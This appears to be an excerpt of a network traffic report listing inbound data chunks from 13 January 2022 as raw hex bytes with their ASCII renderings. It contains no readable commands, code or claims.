5b d7 1b 73 b0 da b0 55 5e 80 1a 83 8c b2 b1 ea 20 a9 f8 25 3f 83 5d 39 35 43 90 cc 8f c1 61 90 6b f9 a7 ca 72 6c 3c d5 
65 a4 cb c6 2a 8f a6 5b 0d 70 e5 b1 ca ea e2 ac 38 0a b9 aa af 8b 74 75 58 83 b7 25 aa 3e 73 9f 54 f1 bd be 95 39 5e f1 
32 78 89 f2 74 ca 2b 6d 12 d6 49 4b f0 4a a9 fe 79 d8 e6 8a f8 41 e9 34 90 fc aa 7d 32 34 6e ad fe 79 ed 6f 30 ac d3 1f e4 
98 71 3d 50 d4 5d ad 1d 2a bf 39 d0 3b 3f c6 6d b8 1e 3f 79 f2 04 b9 2e 47 4e 43 4a 09 8f 1e 3d 9a 35 93 67 67 67 c1 ef 
16 78 ff de 3d 5c 1e 1d e1 12 70 b4 03 f3 eb f5 77 5a 
Data Ascii: A^gXPzH^X^gPz^ZVUi?[i(RfJ*KvWJSc#FQJ[sU^ %?]95Cakrl<e*[p8tuX%>sT9^2xt+mIKJyA4}24nyo0q=P]*9;?
m?y.GNCJ=5gggx=\pwZ

2022-01-13 21:05:20 UTC 366 IN Data Raw: fa 19 20 db c7 26 e3 56 ed 9b 20 37 7a ae 24 88 5f ef e5 17 fc 36 c7 4e fc 0e 52 af e8 9e 9f f1 45 8d 2f 0d 32 
64 3c 9a 7b 5a 23 c6 74 1c 08 63 59 67 1b 72 a9 9f da f0 48 ca 5d c9 4b 06 79 2f ac 12 29 8f b8 e8 b0 3a 5d c8 b2 f5 76 
26 d6 02 a5 4c 91 1f e2 6b 72 4d 32 ec e0 51 22 43 16 e7 47 7c 66 c7 5d a7 e5 e5 41 a5 6b c9 aa 74 1c b9 ba ec bd 3c 98 
55 37 92 87 c4 bc 57 cf f5 fd 34 e6 c8 61 88 0f 97 9b 38 76 69 b5 39 07 75 52 76 c2 59 c7 aa 4a d8 d2 be ac 32 b7 fa b5 
48 63 24 2d e8 f8 16 47 ab 0f 81 ca cb 48 63 2c 9f e5 d9 ca af 17 56 c4 e1 7a 20 de e6 38 67 7c b7 f2 98 4b bb e0 76 a3 
eb 98 e2 37 bc b2 e4 c5 69 b3 d1 35 9a df d4 0c 07 d2 5f 73 a7 38 4d 1e 9d fc 6a a3 9d 65 72 bb e3 fa 1d 4c 9f b2 eb f2 
de a0 5e ac 78 6e 5b 52 0f 43 ed 47 47 f4 da b8 d5 97 
Data Ascii:  &V 7z$_6NRE/2d<{Z#tcYgrH]Ky/):]v&LkrM2Q"CG|f]Akt<U7W4a8vi9uRvYJ2Hc$-GHc,Vz 8g|Kv7i5_s8M
jerL^xn[RCGG

2022-01-13 21:05:20 UTC 367 IN Data Raw: 27 81 3b 82 33 56 58 6d a2 b8 b3 3f bb 59 e3 bf 68 ab c6 38 1c d8 6f c4 11 bb 3d 85 9e 60 52 d1 92 56 9f c2 48 
a2 41 9f 57 52 ea e4 91 0c f7 75 94 66 a5 d0 3b eb 9b 54 58 fe 7d 22 2f 5e 73 d4 cc 59 45 4f fc 85 e3 a5 36 6c 21 e2 1d 
ed b3 76 b0 cc e5 eb e4 f3 2a e5 d3 ac fe aa 78 50 69 65 e9 dc f8 17 37 aa ca 76 17 22 a9 70 56 5b b0 56 51 55 f9 65 55 
46 de 7b 10 8d c2 8b 75 1e 8b 02 28 f2 c8 72 9d 72 d4 f9 b5 f2 2a c2 aa 82 33 c3 95 3c 50 e5 54 37 23 2f 82 c3 22 49 5e 
8b c5 aa 5d 2c 64 9b 2d ee 58 73 ae 6e ba ee 0b 96 cb 5a 14 d7 0f cb 75 1e 96 d7 3f 86 98 96 4b e4 65 96 7d 31 3b 65 4a 
ed c3 ea 13 6b 07 8a 0b 5f 96 8e 5f ea 94 eb d6 f3 87 0a 9b 9d b0 66 43 1e 49 57 b7 b3 26 8f 2a ec 50 79 f0 38 57 84 59 
79 63 59 7c 34 8e fb ab 68 3f 79 ed df 70 d4 65 40 fe 
Data Ascii: ';3VXm?Yh8o=`RVHAWRuf;TX}"/^sYEO6l!v*xPie7v"pV[VQUeUF{u(rr*3<PT7#/"I^],d-XsnZu?Ke}1;eJk_
_fCIW&*Py8WYycY|4h?ype@

2022-01-13 21:05:20 UTC 369 IN Data Raw: ef 60 36 cf a4 5c d7 fa d3 4a b6 91 ae d5 c6 86 76 56 bd 3c b0 91 05 e5 5e f3 a3 12 4f 00 16 3f f9 33 58 fc be 9f 
c6 d1 3f f9 47 70 1b 6c 6b 9c 79 1d 63 cc 6d f1 64 0b fc 5e fc cf ff 35 ce 3f f5 77 71 b9 32 90 d6 01 c6 eb df f3 64 85 56 04 
d1 63 91 32 a4 b4 bf 7e 16 e3 56 18 46 5d 80 8d 59 d0 73 1d 4b 8c b9 46 d4 5f 6a eb bf 06 b5 e6 17 2d 3f b0 f7 08 03 e9 
00 30 f8 a3 96 d8 ec bb 39 20 58 b3 91 48 78 c0 cf 15 7a b8 58 7c d7 bb be e7 ca 70 3a a2 67 e4 25 b0 5c e2 fc 6c a5 bc 
54 f7 0c 5c 5e 8a 30 38 7f 85 fc 8d af 60 f9 95 2f 00 df fe 26 ae 7e f5 1f 00 df fa 06 f2 97 7f 13 f8 f0 05 90 b3 7c 3f 87 20 8e 
1b 94 95 33 6d 30 71 78 60 50 59 69 8c f0 22 0b d2 83 d3 f5 d2 12 38 3a 02 1e bc 89 7b bf e7 f7 e3 f8 7b be 1f c7 9f fc d1 
6b 83 e7 cd 87 b8 f7 a3 bf 17 e9 
Data Ascii: `6\JvV<^O?3X?Gplkycmd^5?wq2dVc2~VF]YsKF_j-?09 XHxzX|p:g%\lT\^08`/&~|? 3m0qx`PYi"8:{{k

2022-01-13 21:05:20 UTC 370 IN Data Raw: 87 4a 58 6e 63 49 b5 2b cb 38 d3 fc 4b bb 4e b6 ff eb c4 4e d6 f5 5c b2 6b 1a d7 9f ba 7d f0 ae 8f 09 1a 27 38 
98 b8 91 b3 cc 6b 49 8a f1 9e e7 c6 21 d7 ef dc 98 c2 75 16 03 a9 f7 82 3a 44 7e d6 d9 6b fd 75 e3 a3 70 b0 27 1f f3 88 9e 
f3 7d a3 73 df 9e 75 36 82 de eb 17 e8 9f 63 e1 97 3e f2 3d b8 77 7a 8a 7b ff de 7f 8a 8b cf fd 3a ae be f8 39 3c fb cf fe 12 
96 df f9 16 96 ef ff b6 88 c3 ab 69 de 3b 26 6b f9 37 e7 a4 5f 96 85 fa 9e a0 be 9f 9c 60 f1 f8 1d e0 de c9 cd 13 9b 88 5d a9
5f e1 76 ff 01 8e ee 3f c0 1b ff fc 5f 00 00 bc fd 6f ff 07 78 f5 73 7f 1b 17 9f f9 15 3c ff 2f fe 43 e4 f3 97 d7 97 3a 60 58 51 
05 9c 6e 6b 39 e6 b5 8c ac 14 56 2b 7a 73 c4 2e c9 38 56 73 b3 92 d5 c7 65 6e 83 5d ac e3 9e 60 f2 d3 fd 59 3d 0f 55 b0 
97 5b 63 83 e9 46 fe c9 fd b2 
Data Ascii: JXncI+8KNN\k}'8kI!u:D~kup'}su6c>=wz{:9<i;&k7_`]_v?_oxs</C:`XQnk9V+zs.8Vsen]`Y=U[cF

2022-01-13 21:05:20 UTC 374 IN Data Raw: 4e 8d c6 bd f7 63 e1 23 df 84 a5 ff e0 c7 80 85 85 fe d9 7e 87 84 27 12 39 43 69 41 e9 13 4f bf 95 1f 30 7f c7 
24 26 a8 51 09 f0 f8 01 72 2c ad dd 00 fe 04 a7 f3 c6 f8 87 b4 c4 3f ce 8a 2f 2b d7 2a 4b d1 55 63 3a e0 eb bd 47 fd 1d 24 
2d 4f 58 96 e8 df cc 02 87 f5 02 bd 2a bb c6 fc 61 ac 97 34 8c db fa 1b b7 25 79 a1 e8 73 ae ef 2d f3 31 a8 5b 0f 20 2e 44 
e8 46 a2 af 6c 86 67 d7 7f e6 97 1a 59 40 44 8f 9a ae 47 3d 8b f7 49 32 69 63 fc 29 51 f5 f1 05 aa 4f e3 d8 3d 38 8b 8b 68 
bd ef 83 38 da bc 0c 40 7a e0 e2 62 a5 bc c4 5a eb 4d 14 11 d3 9a 02 5c a7 00 8e 8f e0 3a 9d a1 db 50 f5 fe 9b 75 fa 5c 
a3 01 b7 79 19 cd 87 1f 43 eb a3 4f e1 f8 b3 ff 2f 8a f6 49 7f cc 40 ce 11 a5 21 8b db ca 5c 9f 6f 1c 3d 6b b9 25 1c 2d b9 
72 01 9c 45 b3 ad c7 f8 6c 08 f4 b9 de 1a 
Data Ascii: Nc#~'9CiAO0$&Qr,?/+*KUc:G$-OX*a4%ys-1[ .DFlgY@DG=I2ic)QO=8h8@zbZM\:Pu\yCO/I@!\o=k%-rEl

2022-01-13 21:05:20 UTC 378 IN Data Raw: 0b 62 ad a8 f1 f9 e7 90 8f 3f c5 7b 36 41 21 76 a9 00 67 c9 ce e9 66 01 89 5d 6c 8c 7d e0 53 7e 3f c2 5a c4 3c 
54 59 ad 56 e5 7f 0f 28 69 23 3d 87 76 06 e7 74 c2 1f be 9f 56 1c a1 0a d9 0b df fd 1d a5 d7 be 0a bc f6 55 f8 db ef 54 f7 
da 73 00 68 b6 d0 b8 76 3f dc 72 ff 88 5d f6 38 16 f5 0d 2b b8 1e a9 47 58 f3 8a 53 f3 6d 26 e0 65 7b 28 58 c8 04 2b 5e 84
73 db 8d 79 14 8e 5e eb fe 12 47 d5 90 96 e5 8c 30 2e 5f ef bc 24 f9 a9 5e 91 d6 18 7f 3e 02 25 da ce 9f ba bf 88 67 b8 3f 
c5 b3 da 41 d3 f2 85 9d 33 a6 91 35 53 0c 35 7f 60 9e 80 1a bf f0 10 79 cd a5 63 6a ca 5b 2f 79 db 92 d3 62 5e 14 e1 d7 
09 6b cc 1b aa ad 49 d4 18 0f f4 ea e9 d2 28 67 24 8d c7 2b 14 c4 4b 8a 83 aa b6 16 10 ae cc 38 a2 31 23 7a be 80 f0 b6 
d2 1f 28 dc 4c 4f 9f e6 51 00 8e 37 9e 63 fa 
Data Ascii: b?{6A!vgf]l}S~?Z<TYV(i#=vtVUTshv?r]8+GXSm&e{(X+^sy^G0._$^>%g?A35S5`ycj[/yb^kI(g$+K81#z(LOQ7c

2022-01-13 21:05:20 UTC 379 IN Data Raw: 30 98 c6 f8 76 b7 f1 5d e2 e5 cf a5 05 64 bb 85 62 ab e3 75 59 d6 77 0f 34 be f9 e3 70 1f f8 e8 58 da 3f e9 3e 
74 00 0a c5 63 d9 fe 30 e2 45 41 fa bb 52 90 4e 43 df 59 31 4c 59 bc 1e 73 58 37 7f f7 d3 5a bb d9 9b af 61 f1 9e 2f 3a 70 
bb 77 51 7c ea 77 80 dd bb 68 fd c9 bf 58 59 19 d8 b8 7c 0f fc 43 ef 83 7f e3 6b 59 dd 34 7e 37 fa a8 4b 47 3f 1c 99 b9 d8 
4d ef e2 bc 3d 0d 26 3e 47 d4 7c c9 f1 0a 3f 97 c5 0b 5e 22 05 90 75 48 61 98 50 78 e0 3b 6d 34 99 f3 94 c2 4a e9 56 81 
5a 06 e6 0c fe a4 bd 86 cc 18 b6 bf cc b4 d4 46 71 bc 17 b6 d1 95 14 58 82 dc f8 9e 15 55 9d cf 93 28 8b 0a 85 73 2e 75 
e4 3a 7b 4c 21 93 f4 3f 0d 5e cb ce 2d e6 2f e2 93 62 e7 2e 8a 77 6f 2a f2 aa dd 7f b3 44 df b4 69 6d 5d be 7c 79 ac db 65 
db db db 63 2b cf 39 87 4b 97 2e 8d a5 ac 80 
Data Ascii: 0v]dbuYw4pX?>tc0EARNCY1LYsX7Za/:pwQ|whXY|CkY4~7KG?M=&>G|?^"uHaPx;m4JVZFqXU(s.u:{L!?^-/b.
wo*Dim]|yec+9K.

2022-01-13 21:05:20 UTC 383 IN Data Raw: be cb d2 11 f2 b5 9a c0 c2 62 96 be aa a1 a6 6f 34 54 da 40 aa 31 7e b0 37 6d 98 b4 96 c7 56 a4 19 c0 cb 23 
f1 7a 75 1c 07 35 ce 80 e2 d5 17 d1 f9 bf fe 0e fc eb 5f eb 07 1a 86 8e b9 db 91 41 f0 ea 86 7c 09 ab b8 cc 73 85 a0 3d 94 
f1 63 80 e3 c2 54 2e a9 30 be 9c c2 53 58 8c 77 f9 f9 5b 65 08 a5 c7 32 18 b9 0f 74 c6 90 8d fb 0b 46 da 1a e7 02 67 f0 6a 
ce 2b e2 29 8f e9 3c 60 59 62 30 36 97 6f 8d b5 a7 f4 56 b9 62 cd b2 ca b5 1c 34 35 a6 03 1e 47 63 b0 ad a3 77 51 9e aa 
45 47 1b 58 c9 b3 55 ee de 0e 70 fb 9d e1 e9 ad 31 53 18 eb 3b 48 e3 b6 fe c6 6d 49 5e 28 fa 9c 93 0a 86 88 0b 15 c2 14 
00 7c 3c 45 a4 37 60 16 c1 ca 59 79 76 99 e5 8c 4d af fa f8 02 d5 a7 f1 ac f4 75 3e f3 7b f0 cf 7e 16 fe ee 9d d1 7e 8f 68 
08 5e 1c 68 8c 37 1a c0 f2 0a 5c ab 35 74 1b ce 
Data Ascii: bo4T@1~7mV#zu5_A|s=cT.0SXw[e2tFgj+)<`Yb06oVb45GcwQEGXUp1S;HmI^(|<E7`YyvMu>{~~h^h7\5t

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 516 IN Data Raw: 4c 59 d3 9e 4a 95 9d cf 3d 4c 85 be 11 f4 9a 90 5e 38 f9 28 5f e9 39 3d ca d7 58 5b 47 73 02 bf 2d 57 8f ef f8 
70 16 5a c7 62 20 55 bd a3 2e 2a 7d bc 00 f2 11 05 56 30 ac 34 16 72 c7 e3 62 b6 71 68 a8 a7 cc 3f cd f1 f5 db 77 e0 77 
b7 e1 df 7c 75 a8 f4 ce 01 47 eb eb 42 63 f0 ed 63 e0 b8 ef 85 f2 80 38 26 e6 8f 0f 63 bc ef b4 e1 8f 0e bb 3b 25 9d 36 fc 
c9 09 da 77 b7 e0 db 6d f8 a3 23 b8 93 c3 ee 75 dc fb 7b dd f7 19 76 b6 e1 76 b7 e1 8f 8e ca db a1 bd ae b0 15 9f 9c b2 
e6 8d 3c e2 79 90 52 a1 14 b2 a0 a4 08 ef 78 4e 71 0e 8b 5c a3 01 ac ae c3 35 cf 7f 63 fc b4 3c 68 ed d2 45 85 be 17 27 
e2 8d 7e b4 0c 46 dc 7b 3f dc c3 8f a2 f1 d1 a7 e0 36 2e 55 56 06 fa 93 13 14 5f 7b 1e fe 6e e6 98 8a a1 f8 f2 31 cb 7e 41 
6a 17 22 24 1f 66 7b 64 48 9c 6b 1f 66 aa 32 79 
Data Ascii: LYJ=L^8(_9=X[Gs-WpZb U.*}V04rbqh?ww|uGBcc8&c;%6wm#u{vv<yRxNq\5c<hE'~F{?6.UV_{n1~Aj"$f{dHkf2y

2022-01-13 21:05:20 UTC 520 IN Data Raw: 20 32 ca d7 f9 34 4f e4 e4 96 56 88 cb 78 c5 10 cf dd 74 86 dc d2 37 93 ce 0c 2f cd 29 e2 bb 78 48 d7 a5 b2 f5 
c5 e2 71 fa 2a 0d 7d 8e 27 47 5d 3d fe 17 03 d5 74 b5 d6 18 3f b4 4b af 2c 7e 94 b2 46 49 7b 01 5c 2e 2c 6c 45 00 10 6f 
da 09 cf 65 b6 0b a7 ed 07 ca c4 5a 70 73 1a a1 24 f8 fe 02 22 8a f3 22 8b 4d 88 55 2f d5 95 24 55 ed 2d bb 0a d7 13 0d 
f0 54 0d 2f 76 e1 79 00 89 00 e0 3a 1d 60 67 1b fe a4 da 3f 14 7b 91 e0 8b a2 7b ad f7 0b cf e2 f0 f7 7f 03 fe e8 50 59 c1 
bd 74 9c 87 0b 48 b4 62 a9 ec 0e 2b ca 78 3e cc 84 62 33 02 91 66 7b 29 90 2f b4 30 ba 5e 09 9e 34 cc 51 b8 90 5b 89 
b0 b3 97 19 7d 4c 56 1b 71 3a 2d f3 84 96 09 0c 96 2f a6 7c 83 a4 95 e5 56 59 9f f1 f5 ce a2 1f f3 a4 d4 98 12 34 9f e7 e2 
78 cc ad 9d 49 c1 d7 d6 ba 46 cf f5 fb 47 17 07 b5 
Data Ascii:  24OVxt7/)xHq*}'G]=t?K,~FI{\.,lEoeZps$""MU/$U-T/vy:`g?{{PYtHb+x>b3f{)/0^4Q[}LVq:-/|VY4xIFG

2022-01-13 21:05:20 UTC 524 IN Data Raw: 87 10 bf 21 4d 46 29 b6 0c ad 50 5e d2 46 a6 71 9e d6 af 19 86 96 2f bd 47 3b dc 18 d3 9c dc 12 69 a8 d0 f8 de
2f f1 73 8d f9 45 6d 20 5d 14 58 2e b8 51 b2 47 cd de 2e 52 7c 19 54 76 ae 8c 59 5d 78 b4 87 aa 17 06 20 69 93 f8 1a f2 
91 80 e6 ec da 91 aa 17 72 a1 9c 90 21 11 ca 2c 73 78 8a e1 d4 e3 a1 0d 1b c3 28 0a 05 6b 1a b5 a7 cd aa 53 3c 1b 8a 
6d ac 97 8d 40 95 cf ea 1b b4 5a 70 9b 97 81 85 45 d4 18 1f 8a 9b 6f e1 e4 4b 7f 8c bd 7f fc bf e0 e4 a5 e7 80 9d ed c8 17 
71 0c 8c b1 4e 5e de c7 ff cf de bb fd da ba 64 f7 41 bf 5a fb 7a ce de 67 ef dd c7 6d bb 63 13 70 4c 64 3b c1 4e 9c 0b 91 
63 20 20 73 11 4a 80 17 1e 80 67 9e 40 81 7f 80 87 f0 00 bc f0 90 07 24 a4 48 48 a0 04 09 21 21 12 11 45 18 13 4c 1c 47 
1d e3 5b 3b 8e dd be a4 dd 71 df 4e 1f 9f 3e dd 67 
Data Ascii: !MF)P^Fq/G;i/sEm ]X.QG.R|TvY]x ir!,sx(kS<m@ZpEoKqN^dAZzgmcpLd;Nc  sJg@$HH!!ELG[;qN>g

2022-01-13 21:05:20 UTC 528 IN Data Raw: 8b 05 f2 8b 67 c0 a7 8f 1b 7d 32 1f 9c 6e 8f d0 f5 c6 07 eb 76 f9 2f eb b5 e9 67 20 ea 57 75 1b 44 33 36 c7 d9 
9f c0 af a1 cf 2a 63 79 38 bf 8e cb 8e 8c 3c 66 dc bd 2b e8 43 fa 47 6d 9f 9b 3b a6 3b 07 de 32 ba 76 4b e6 45 b0 05 bd 
b1 56 c6 0f cc 58 a2 71 0d a1 31 70 98 18 01 d2 21 23 85 8f 6e 70 04 98 c9 6e 9c 2c be 41 d9 fc 75 f5 95 c6 9a b6 5e ff ec 
df 36 84 23 a6 e2 9d c6 57 99 70 fc 7b b6 ee e5 1a 1a bd ba 4e d7 bd f2 6c 80 9d 3f a5 ce 02 7f a9 8e 4d 31 ea d4 be 7b 
a6 27 a8 9a 6f 12 4e 06 6a b7 d2 cc 51 96 92 be 29 ad 4e 57 5b 5e d5 59 0b 8e 0d bc 6e ea 0d cc b4 07 ca 4f a7 27 c0 07 
5f 41 06 70 22 c1 54 69 ab 71 d2 3a f9 53 b8 48 d9 50 8f ea 9c a9 53 8b f5 f4 9a e7 2c 44 b9 bd 71 10 16 1d a8 4a 13 2c 
6d 82 14 fb c5 f1 a8 81 90 5e bb e7 86 78 7c 6c ca 
Data Ascii: g}2nv/g WuD36*cy8<f+CGm;;2vKEVXq1p!#npn,Au^6#Wp{Nl?M1{'oNjQ)NW[^YnO'_Ap"Tiq:SHPS,DqJ,m^x|l

2022-01-13 21:05:20 UTC 532 IN Data Raw: bb c5 63 d5 ee 76 a7 58 b6 1b 51 53 b5 3a ed 96 63 f1 e6 cd 9b b8 7d e7 2e de a3 fe 9f bb fe ae 12 7f 97 3d 57 
6e e6 9c 77 c6 40 61 62 97 18 fc bd 21 1a 0f 59 26 f8 16 a4 6d 70 20 37 d3 14 2e 36 80 2b 3b 51 b7 b4 5d 9b ef d4 0d 5b 
eb 3d 62 92 3f e9 a0 eb 8d 53 6e c2 d5 18 a7 36 3f 21 1a 72 76 3a d8 71 e3 a4 c0 87 f4 61 e3 bc 7a b1 5a 48 06 eb a7 e7 
b4 56 3d 72 59 27 0b f1 de 73 c4 d5 81 75 ed 71 5e 70 6c 5a f6 1b 7e b8 dd 2a 53 b9 61 c2 0c b5 44 65 10 75 3f d9 1f 88 
85 ac a3 6b 6e cc a1 ac 3a a2 86 9e 06 9f 0d 0f 34 2e dc d8 ed ed ce 80 ea f0 18 d4 5d 0a e5 a9 d4 d3 b1 d9 f0 62 78 e8 
05 73 4e 2e a5 6f 77 4f 48 9e b0 eb 43 4e b6 f2 bd 12 9c 68 99 39 e1 f4 94 e5 3a cc ef 29 bb 81 0e df 3c 66 24 f8 08 3b 30 
13 b4 f8 33 f0 40 76 3f c8 8e a8 0f b5 29 9c ef ca 
Data Ascii: cvXQS:c}.=Wnw@ab!Y&mp 7.6+;Q][=b?Sn6?!rv:qazZHV=rY'suq^plZ~*SaDeu?kn:4.]bxsN.owOHCNh9:)<
f$;03@v?)

2022-01-13 21:05:20 UTC 536 IN Data Raw: 28 8f 52 20 7c 4d ab b2 ec b0 94 ea 5c 36 38 34 58 f1 e1 f8 5d 27 0b cb 13 3e 4b 3a d1 b6 ed 62 25 7b d3 ae 
d4 75 6d f4 78 54 5a 36 c8 71 4e 19 26 86 74 d1 6d a7 0f ca 8d b1 7b 44 0a 31 dd e5 ab 43 d7 c8 30 c1 b7 a6 d5 7a 34 46 
a7 e4 06 56 63 a1 e1 51 c6 55 4f 4f 0c 0e da 75 2c d7 34 d1 8b f2 df 7b fb 59 ad 64 64 9c e2 a7 39 62 17 49 d5 fe 75 fd cf 
32 f4 74 53 3e 9b 20 4a 79 11 59 ea b8 ca 6b 68 e9 fc 92 7c be b6 63 d8 b5 4b 7d 5e f3 59 07 c9 97 d5 b1 8c 4e 3e 2f 60 
35 6f 08 94 71 a9 b6 b6 79 33 1d 97 15 be 21 34 80 d8 67 9a 1f f4 63 74 d6 c8 c6 3a 40 4b ab 37 86 dd 38 60 dd 6c 75 94 
7c 60 67 08 c7 48 e1 ed 16 80 e6 98 78 b3 c8 0b 6f b7 ec 18 86 8c f7 5d 0a 34 30 2b ec 64 07 29 4f 3d 99 3f 03 5c 47 fe 
d2 dd 77 91 ee dc a5 46 38 73 43 22 9b b0 b5 4b d6 d7 
Data Ascii: (R |M\684X]'>K:b%{umxTZ6qN&tm{D1C0z4FVcQUOOu,4{Ydd9bIu2tS> JyYkh|cK}^YN>/`5oqy3!4gct:@K7
8`lu|`gHxo]40+d)O=?\GwF8sC"K

2022-01-13 21:05:20 UTC 539 IN Data Raw: b9 2d eb 74 d3 1b 5f 5c d6 8d 0f e6 b1 c8 58 e4 66 1d 00 d1 11 4f 88 65 d7 f5 79 8f 47 4e ab f3 78 cd b8 6d ea 
91 6e 73 8e f9 8e 17 86 f6 69 e8 5f d1 43 43 83 ea 38 bb d5 7c 71 e3 03 ed 9c d6 31 ce 76 ab 3b 1f b2 97 d7 cd e9 10 50 
f1 78 37 63 6d 6d fe 84 8e 9a 71 5b 64 c8 6d be 96 ed da fc f2 f9 de 67 70 f4 47 ff 38 8e 7e f8 4f 22 7d ef f7 61 e0 72 c1 b6 
a3 67 b7 74 cc 96 b1 70 a1 1d a4 8e 2d da 85 0f 35 30 6f 8c 00 e9 1a e0 c6 f7 ff 00 de f9 ec e7 70 fb 4f fc 39 3c ff eb ff 1d 
8e bf f0 79 9c 7e f1 0b 7b 69 ab 13 e3 6c 90 39 9d 17 9c 90 4c e5 cb 6a 4f fc 1a 1d 3b 6d 26 f9 3c a5 d1 38 88 5c 3e 85 8f 
96 2f 2a a7 8e 84 61 bf 1a 65 96 a5 e1 c9 c8 9a 89 a0 3a 3f c8 b0 6f d9 6a ca 2a df 24 5b 43 6b 99 18 da 25 47 8a e5 b4 
32 6a 5a 16 9a e2 94 29 af b5 1f b2 b4 
Data Ascii: -t_\XfOeyGNxmnsi_CC8|q1v;Px7cmmq[dmgpG8~O"}argtp-50opO9<y~{il9LjO;m&<8\>/*ae:?oj*$[Ck%G2jZ)

2022-01-13 21:05:20 UTC 543 IN Data Raw: cc 7e 0c 0e fe 76 87 b9 f3 ba 2f fe 32 10 ec 8a 9d 2f 6c 1f d8 a6 74 ec 16 cf d9 66 9e 22 ce c3 b7 85 eb da bf fb 
c0 a6 bc ee 2d 40 1a 18 b8 28 f2 c9 31 ce be f6 65 2c 3e fe 10 f8 f4 c9 79 62 71 06 52 f8 ba 42 2f df 8c 7f 5d d5 ed f8 53 
c0 e9 09 f0 f1 47 58 fc c6 2f 23 ff d4 5f 02 b0 9f 00 69 60 e0 52 b1 3c 56 b7 f8 f5 5f c2 e2 77 7e 1d f9 57 7e be 7d d8 99 8a 
73 80 51 56 5a 75 a5 36 04 0b 3c 27 69 b2 f1 4a 6f 93 2f d7 d9 04 0d 81 97 d4 f2 e2 82 23 be 76 32 34 3b 48 c9 cb de a4 
89 43 c5 81 4f 79 88 db 89 d7 ac 4c 43 ca 4a 3d d5 73 26 1a 8b ef 7c 0b f8 ce b7 f0 f2 a3 0f 70 fb 4f fd 24 6e 7c ff 0f 00 7f f
4 1e 70 e7 1d 0c 0c 1c 3a ea 42 09 5a bb 55 e7 0b 2f 76 e4 38 cf cb 27 db ad ee 0e 12 56 ed 0c 1c 3e 46 80 34 30 1b e4 
57 2f f0 ea 67 ff 36 ce be f6 e5 36 
Data Ascii: ~v/2/ltf"-@(1e,>ybqRB/]SGX/#_i`R<V_w~W~}sQVZu6<'iJo/#v24;HCOyLCJ=s&|pO$n|p:BZU/v8'V>F40W/g66

2022-01-13 21:05:20 UTC 548 IN Data Raw: a0 9b 1c 79 0c 69 29 ca 5b cb 75 f4 dc 7e 19 18 b8 fa 60 5b a4 76 8b 8f ec d6 f2 40 d8 d9 ee da 2d a5 c5 f4 89 
d6 c0 61 63 04 48 03 57 06 fc fa ed 66 e5 da 7a 04 a0 25 ea 58 86 1d 25 7e 16 02 40 7b c4 67 60 e0 10 90 69 c1 40 bd 77 
20 ce ad 1c e7 1b d7 ab ab af 5c a7 38 ec 34 d7 ea 14 ea 94 ad 2b bc dc 96 94 2d 5e 4b 3d 22 27 fc 73 fd cc 7c 31 0d a1 
cf fa 08 32 4a 1d 6d 83 db af cf 58 69 bb 3d bd 6a bb 9c ce 34 a9 ad f0 2a 62 d5 9d f0 ce 41 94 b6 3d 1e 28 1f 38 54 04 bb 
b2 bc 0e f6 85 e6 4b 96 4f 2e ab 76 4b 6d 41 98 af 58 a5 0f 1c 36 c6 11 bb 81 2b 05 bd d9 17 ff a1 f7 9b 25 3d df 80 8f a6 
28 8d 71 b6 78 e0 10 d1 fb 8d 90 90 4f ce 79 46 9c 13 6e 85 d5 be ed 8d f2 39 9d 03 0d 7e 26 68 f2 b7 7c a8 2c cf 59 cb 
0b e5 5b 1e 27 64 a8 8b 23 86 17 ae 27 c9 ab d5 
Data Ascii: yi)[u~`[v@-acHWfz%X%~@{g`i@w \84+-^K="'s|12JmXi=j4*bA=(8TKO.vKmAX6+%=(qxOyFn9~&h|,Y['d#'

2022-01-13 21:05:20 UTC 552 IN Data Raw: 8e 88 6e 90 36 94 16 a8 ad a2 9e e8 86 f9 aa 7d e5 ce a4 11 3f 81 94 74 d8 31 75 5a e6 48 c2 d0 f9 63 0c 9d 
d7 65 f3 67 6c 86 63 83 8c 2d ea 99 a7 85 dd 62 7b c7 75 a1 f5 02 c2 f4 9f c7 df bc 38 ed fd bb 48 1c 85 d7 f5 6b d7 ae 2d 
ec cc 5f 08 01 9b 9b 9b 0b 15 72 6b 6b ab f1 37 07 4e 12 7f 71 6b 0b bb 3b 3b 18 4f 26 39 df 73 ae f4 d8 4d a0 34 5d 3c 
32 8e 43 0a ac 34 7a 9a fe ce 5f cf 8a c0 28 00 a3 d1 08 db db db 18 b5 39 32 17 1a 7f f3 61 5e fe e2 8d 2d c4 1b 37 f6 ef 
69 ac 03 f0 57 11 9c 00 48 7f 47 29 67 c8 b1 03 92 48 a6 76 a9 1e 07 21 b3 ee 99 5f 13 bc 90 81 30 4e 92 c8 c2 81 9d f2 
9e ca 71 10 c3 32 66 07 2a 96 f9 86 96 a3 4b 63 b7 ca 6c 3f 98 03 d9 2a a5 35 e5 bf d6 7f 39 9f ee 53 b9 8d b3 1b 38 7b 
e1 02 ee bb 72 c5 e1 a4 1f ab 3e 47 18 cb e6 6f 91 
Data Ascii: n6}?t1uZHceglc-b{u8Hk-_rkk7Nqk;;O&9sM4]<2C4z_(92a^-7iWHG)gHv!_0Nq2f*Kcl?*59S8{r>Go

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 556 IN Data Raw: 43 c3 bd 41 0b 90 1a 86 07 c7 91 61 14 ef 1d a5 74 94 3f 34 b0 4a d7 1a 0d 97 56 43 c3 0a 22 f4 cc 11 cd 30 f1 
cd 8c 63 7a 26 5e d0 e3 ab d4 86 69 ca a3 c9 b4 9c 23 76 bc 02 6c 82 a9 92 54 f9 6e 0e ca c2 de 91 bf 9a 9d 70 63 a2 9a 
03 45 b2 07 2f df b1 77 b5 a0 86 ff ee 8b eb db 39 8b 3d 6d 37 a9 61 15 c1 8b 0b ee 7c ab 3d e3 d3 7c ab f8 01 de 9c e6 
00 ac f8 7b 69 0d 2b 8b 16 20 35 0c 0f ea 68 c4 d2 a1 30 ab 3f 8e 03 10 34 3d 19 b5 e9 b5 b0 a7 4a b3 a1 61 15 51 3b 46 
4a de b6 7b 02 35 e6 ec d2 31 d7 23 7a 95 7b a0 b2 cb 5b 67 b1 a3 c3 01 4e 65 a7 66 d6 b1 38 e6 57 77 7d 6a 3b 39 b5 
f7 a4 b8 9e 06 9a 35 c7 8d 8f fc b8 7f 80 d7 39 4a 27 c9 86 99 be 8d 27 3e 51 64 fe d0 6e 43 c3 8a c0 1c a1 f3 ec 96 33 cf 
53 59 4d a2 e4 fd 7b 99 d3 de 62 4f c3 ea a3 05 48 0d 
